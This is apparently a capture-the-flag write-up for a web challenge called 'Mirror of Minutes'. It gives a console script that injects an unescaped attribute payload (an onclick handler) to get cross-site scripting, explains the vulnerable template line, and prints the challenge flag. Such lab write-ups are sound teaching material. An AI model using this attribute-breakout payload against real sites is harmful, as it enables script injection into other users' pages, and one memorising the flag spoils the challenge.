Mirror of Minutes
Mirror of Minutes
Quick Start
Step 1: Open Developer Console
- Press F12 on your keyboard
- Click on the Console tab
Step 2: Execute the Exploit
Copy and paste this into the console:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| // Inject XSS payload into the reflection data
reflections.push({
timestamp: Date.now(),
id: "exploit",
mirror: `survivor" onclick="window.networkUtils.unlockMirror()`,
text: "payload triggered",
contact: "attacker@void"
});
// Re-render to inject the XSS
renderObservations();
// Click the injected element to trigger XSS
document.querySelector('[data-mirror]').click();
// Verify and get flag
verifyLucidity();
// Display flag
alert(document.getElementById('flagContent').textContent);
|
Step 3: Get the Flag
The flag will appear: cys{m1rr0r_p4ss}
How It Works
The Vulnerability
The data-mirror attribute is not escaped:
1
2
3
| // Vulnerable code in renderObservations():
`<div data-mirror="${mirrorAttr}" ...>`
// mirrorAttr is never HTML-escaped!
|
The Exploit Chain
- Inject malicious mirror value - Break out of the data attribute with
" - Add onclick event -
onclick="window.networkUtils.unlockMirror()" - Re-render observations - Call
renderObservations() to insert the XSS - Trigger the event - Click on the observation item
- Unlock the flag - The XSS calls
unlockMirror() which sets isLucid = true - Verify and display - Call
verifyLucidity() to show the flag
Why This Works
1
2
3
4
5
6
| Injected HTML:
<div data-mirror="survivor" onclick="window.networkUtils.unlockMirror()">
...
</div>
When clicked → onclick fires → unlockMirror() executes → isLucid = true
|
The Flag
Key Concepts
| Concept | Explanation |
|---|
| XSS | Injecting JavaScript code through user input |
| Unescaped Attribute | HTML special characters not converted to entities |
| DOM Injection | Modifying page elements dynamically |
| Event Triggers | Using click/load events to execute code |
| Hidden Functions | Discovering unexposed functions via inspection |
Flag
cys{m1rr0r_p4ss}